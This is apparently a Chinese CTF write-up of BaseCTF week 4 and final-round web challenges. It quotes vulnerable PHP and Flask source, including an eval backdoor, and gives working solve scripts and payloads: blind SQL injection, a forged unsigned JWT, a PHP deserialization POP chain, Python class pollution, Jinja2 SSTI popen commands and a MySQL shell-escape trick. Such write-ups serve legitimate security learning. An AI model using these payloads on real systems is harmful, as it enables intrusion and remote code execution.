 if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
  die("可恶的QQ人!😡😡😡");
 }
 $a = $_POST['m'][0];
 $b = $_POST['m'][1];
 if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
  die("某站崩了?肯定是某忽悠干的!😡😡😡");
 }
 include 'flag.php';
 $flag[] = array();
 for ($ii = 0;$ii < sizeof($array);$ii++) {
  $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
 }
 
 echo json_encode($flag);
}

先看第一层写脚本爆

import requests

url = 'http://challenge.basectf.fun:23955/'

ans = None

for i in range(1, 100):
    payload = {f'len[{j}]': '0' for j in range(i)}
    response = requests.post(url, data=payload)
    print(response.text.splitlines()[-1])
    last_line = response.text.splitlines()[-1]

    if "我不管,我要玩原神!😭😭😭" in last_line:
        print(f'Success with {i} parameters!')
        ans = i
        break
if ans:
    payload_str = '&'.join([f'len[{j}]=0' for j in range(ans)])
    print(payload_str)

第二层输入?tip=我要玩原神

第三层直接输入需要url编码

m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966

最后一层

  1. 已知每个加密字符串 enc[i] 是由字符的 ASCII 值和索引 i 异或后的结果再进行 md5 哈希得到的
  2. 通过暴力破解的方法
    • 对每个加密的哈希值 enc[i],尝试所有可能的字符(ASCII值从0到126)。
    • 计算这些字符与其索引 i 异或后的值,并对该值进行 md5 哈希。
    • 如果哈希结果与 enc[i] 相同,说明找到了正确的字符。
  3. 最终结果是解密后的字符串 flag
from hashlib import md5
enc = [
    "3295c76acbf4caaed33c36b1b5fc2cb1", "26657d5ff9020d2abefe558796b99584",
    "73278a4a86960eeb576a8fd4c9ec6997", "ec8956637a99787bd197eacd77acce5e",
    "e2c420d928d4bf8ce0ff2ec19b371514", "43ec517d68b6edd3015b3edc9a11367b",
    "ea5d2f1c4608232e07d3aa3d998e5135", "c8ffe9a587b126f152ed3d89a146b445",
    "072b030ba126b2f4b2374f342be9ed44", "f457c545a9ded88f18ecee47145a72c0",
    "698d51a19d8a121ce581499d7b701668", "c0c7c76d30bd3dcaefc96f40275bdc0a",
    "9a1158154dfa42caddbd0694a4e9bdc8", "a3c65c2974270fd093ee8a9bf8ae7d0b",
    "b53b3a3d6ab90ce0268229151c9bde11", "072b030ba126b2f4b2374f342be9ed44",
    "7f39f8317fbdb1988ef4c628eba02591", "d67d8ab4f4c10bf22aa353e27879133c",
    "5ef059938ba799aaa845e1c2e8a762bd", "1c383cd30b7c298ab50293adfecb7b18",
    "a5771bce93e200c36f7cd9dfd0e5deaa", "9f61408e3afb633e50cdf1b20de6f466",
    "e369853df766fa44e1ed0ff613f563bd", "e369853df766fa44e1ed0ff613f563bd",
    "6c8349cc7260ae62e3b1396831a8398f", "a0a080f42e6f13b3a2df133f073095dd",
    "b53b3a3d6ab90ce0268229151c9bde11", "a0a080f42e6f13b3a2df133f073095dd",
    "6c8349cc7260ae62e3b1396831a8398f", "069059b7ef840f0c74a814ec9237b6ec",
    "f7177163c833dff4b38fc8d2872f1ec6", "c0c7c76d30bd3dcaefc96f40275bdc0a",
    "c74d97b01eae257e44aa9d5bade97baf", "37693cfc748049e45d87b8c7d8b9aacd",
    "37693cfc748049e45d87b8c7d8b9aacd", "02e74f10e0327ad868d138f2b4fdd6f0",
    "e2c420d928d4bf8ce0ff2ec19b371514", "7cbbc409ec990f19c78c75bd1e06f215",
    "ea5d2f1c4608232e07d3aa3d998e5135", "14bfa6bb14875e45bba028a21ed38046",
    "ad61ab143223efbc24c7d2583be69251", "6ea9ab1baa0efb9e19094440c317e21b",
    "d1fe173d08e959397adf34b1d77e88d7", "d1fe173d08e959397adf34b1d77e88d7",
    "43ec517d68b6edd3015b3edc9a11367b"
]
flag=''
for i in range(45):
    for c in range(127):
        if(md5(str(c^i).encode()).hexdigest()==enc[i]):
            flag+=chr(c)
            break
print(flag)

代码自行修改就可以得到flag了

week4

web

flag直接读取不就行了?

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

读取目录可以利用DirectoryIterator进行读取,逐层遍历得到具体位置

?K=DirectoryIterator&W=../../../secret

然后post读取就可以得到flag了,需要看源码

J=SplFileObject&H=../../../secret/f11444g.php

圣钥之战1.0

考察python原型链的知识,以前没写过刚好帮我入了门,先上源码

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你
但是小小的源码没事因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

原理先按下不表,之后会出一篇文章学习一下原型链,主要是先写题目。大致就是利用merge函数来修改父类的属性

思路是利用/read下的__file__进行读取flag,想要利用这个,需要通过/pollute的传参就是污染,用merge对这个进行修改,同时__file__变量是一个全局值,就可以用上面写到的__globals__函数来获取全局变量并进行修改

zhan1

注意的是需要添加头,否则不能读取成功Content-Type: application/json

之后在/read刷新一下就出flag了,不能理解的看一下代码原理。

zhan2

only one sql

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

首先执行show databases爆库看看,再执行爆表

sql1

猜测应该在flag里,执行一下爆列show columns from flag

sql2

猜测在data里面,题目把正常的select给过滤了,提醒了盲注,本人sql其实不算擅长,根据官p来吧,正常的flag格式是B来头,我们可以利用delete和时间盲注进行探测,比如

?sql=delete from flag where data like 'B%' and sleep(5)

DELETE FROM flag:从 flag 表中删除记录。WHERE data LIKE 'B%':条件为 data 字段的值以字母 B 开头的记录会被选中。检测是否有B开头的.SLEEP(5) 会让数据库等待 5 秒再继续执行。最后写个脚本等慢慢跑出来就行

import requests
import string

char = string.ascii_lowercase + string.digits + '-' + '{}'
flag = ''
for i in range(0, 100):
    for c in char:
        url = f'http://challenge.basectf.fun:28963/?sql=delete%20from%20flag%20where%20data%20like%20%27{flag}{c}%25%27%20and%20sleep(5)'
        try:
            response = requests.get(url, timeout=4)
        except requests.exceptions.Timeout:
            print(flag + c)  # 输出已猜出的 flag 部分
            flag += c  # 将正确的字符加入 flag
            break  # 进入下一个字符的猜测

No JWT

和平常写的jwt有点不太一样

接口需要一个包含角色为 admin 的 JWT 令牌才能返回 flag。为了得到 flag,需要伪造一个 JWT 令牌,绕过服务器端的角色检查。

签名验证已被禁用,可以伪造一个 JWT 令牌,其中 role 设置为 admin。接下来就是构造这个伪造的 JWT 令牌并发送请求到 /flag 接口。

import base64
import json
import requests

flag_url = 'http://challenge.basectf.fun:30617/flag' 

header = {
    "alg": "none",  # 禁用签名验证
    "typ": "JWT"
}
payload = {
    "sub": "admin", 
    "role": "admin",  # 设置为 admin
    "exp": 9999999999  # 过期时间设置在未来
}
# 对 header 和 payload 进行 Base64 编码
header_enc = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
payload_enc = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")

fake_jwt = f"{header_enc}.{payload_enc}."

headers = {
    'Authorization': f'Bearer {fake_jwt}'
}

response = requests.get(flag_url, headers=headers)

# 打印服务器响应
print("服务器响应状态码:", response.status_code)
print("服务器响应内容:", response.text)

Fin

web

1z_php

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

第一层对emp进行传值,用小数点就可以绕过,注意php特性

e[m.p=114514.111

第二层非贪婪绕过,可以去看看p神的文章,了解一下原理,PHP利用PCRE回溯次数限制绕过某些安全限制,只需要给HACKER前面加100w个就行了(ps:我没测最小值需要多少,直接量大管饱了)post发包

payload = b'a' * 1000000+ b'HACKER'

print(payload)

第三层进行原生类的读取,简要的介绍gpt来写

SplFileObject 是 PHP 的一个内置类,继承自 SplFileInfo,用于处理文件的读写操作。它提供了许多方法来操作文件,类似于文件处理的面向对象接口。

使用 SplFileObject 的常见方法:

  • fgets(): 读取文件的一行。
  • fwrite(): 写入内容到文件。
  • fgetc(): 读取文件的一个字符。

php://stdin 是一个 PHP 的流包装器,表示标准输入流。这通常用于从命令行或其他输入流读取数据。

  • php://stdin 允许你读取从标准输入传入的数据,例如,通过命令行管道传递的数据。

fgets()SplFileObject 提供的一个方法,用于从文件中读取一行。结合 php://stdin,它可以读取从标准输入传入的数据。

a=SplFileObject&b=php://stdin&c=fgets

最后在post后面执行system('cat flag.php');就可以得到flag,看源码

ez_php

<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
}

晨曦✌出的太狠了,简单的先分析一下pop链,一下是依次触发的情况

Hacker::__destruct => C::__toString => T::__call => F::__get => E::__isset => R::__invoke

接着考虑绕过__wakeup,使用&进行引用就可以绕过

需要注意的是由于最后有throw new Exception("杂鱼~杂鱼~");让__destruct不能正常触发,需要使用gc回收机制,参考GC回收机制,

exp

<?php

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}
$exp=new Hacker();
$exp->end=&$exp->username;
$exp->start=new C;
$exp->start->c=new T;
$exp->start->c->t=new F;
$exp->start->c->t->f=new E;
$exp->start->c->t->f->e=new R;
$exp->start->c->t->f->e->r="system('ls');";
$orange=array('1'=>$exp,'2'=>null);
echo serialize($orange);

得到的答案需要在本地测试一下前面的内容

ez

然后前面的需要进行字符串逃逸,这里不再赘婿,可以看我文章,

ez-1

测出长度是

?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:15:"system('ls /');";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f
&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system('cat /flag');";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

cx师傅又让我学到了

Jinja Mark

在/flag里面可以fuzz一下得到提示,不确定这个是动态还是静态的,最好自己bp跑一下

lucky_number=5346
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

得到了提示,index禁用了花括号,然后这是一个python原生类的题目~暂时没思路了,是要通过原生类进行ssti,还是通过这个进行简单的花括号绕过呢

续言:没错就是进行简单的花括号绕过,用其他代替就好了jinja_env 配置了 Jinja2 的模板引擎环境,通过修改 variable_start_stringvariable_end_string 来控制模板变量的起始和结束符号。只是我知识面比较窄而已,利用post发包

{
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "variable_start_string": "<<",
                    "variable_end_string": ">>"
                }
            }
        }
    }
}
Content-Type: application/json

最后直接在对应的界面进行简单的ssti注入就行了

<<"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()>>

Back to the future

一时间没想起来怎么写,在nss刷题的时候突然就想起来了,默认去看一下robots.txt,通常不要扫描的都在这里,提醒的是.git然后用githacker这个工具进行恢复,利用git reset –hard 第二个恢复flag

续:有师傅和我说githack不能直接得到,我用的是gitdumper下来再用githacker的,也可以按这么来。

RCE or Sql Inject

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha

学习学习吧,给的hint告诉了这题其实已经是rce的题目了

R! C! E! mysql远程连接和命令行操作是不是有些区别呢 输个问号看看?

本地mysql连接输入?看看有一行可以注意到(我在物理机测试上并没有,可能是版本问题,之后会在vps上测一下)

system (\!) Execute a system shell command.

那么就是使用system或者\!执行一个system shell命令

?sql=%0asystem env

冷知识+1

Sql Inject or RCE

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha

在上一题的基础上过滤了system,并且把过滤的del变成了delete,所以可以考虑从del这方面入手。

DELIMITER 是一个用于改变 SQL 语句结束符的命令,通常用于定义存储过程、触发器或函数时,因为这些语句内部会使用 ;,而 ; 也是 MySQL 默认的语句结束符。简单的说可以把DELIMITER当作;,但是我们可以自定义这个。

handler是MySQL特有的,可以逐行浏览某个表中的数据,格式:

打开表:HANDLER 表名 OPEN ;

查看数据: HANDLER 表名 READ next;

关闭表: HANDLER 表名 READ CLOSE;

?sql=%0adelimiter orange%0a handler flag openorange%0ahandler flag read next

实际执行的是

delimiter orange
handler flag openorange
handler flag read next

Lucky Number

from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

也是一道原生类的题目orz

从已知的代码进行分析,在heaven.py里有create函数的__kwdefaults__,同时还需要confirm是true.涉及动态加载模块或处理模块之间的依赖时,需要sys.modules 来访问已经加载的模块.回到代码中并没有导入sys模组,这时可以利用python的内置函数__spec__.包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.spec.init.globals[‘sys’]获取到sys模块,此处就可以使用json模块获取.(以上跟着官p学的,我还没学这么多orz)

Content-Type: application/json

{
    "__init__": {
        "__globals__": {
            "json":{
                "__spec__":{
                    "__init__" : {
                        "__globals__" : {
                            "sys" : {
                                "modules" : {
                                    "heaven" : {
                                        "create" : {
                                              "__kwdefaults__" : {
                                              "confirm" : true,
                                              "lucky_number" : "5346"
                                             } 
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

然后会变成快去/ssSstTti1注入吧

然后就是普通的无过滤的ssti注入

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}

Just Readme

官p给的是ambionics/cnext-exploitsCNEXT 的漏洞(CVE-2024-2961)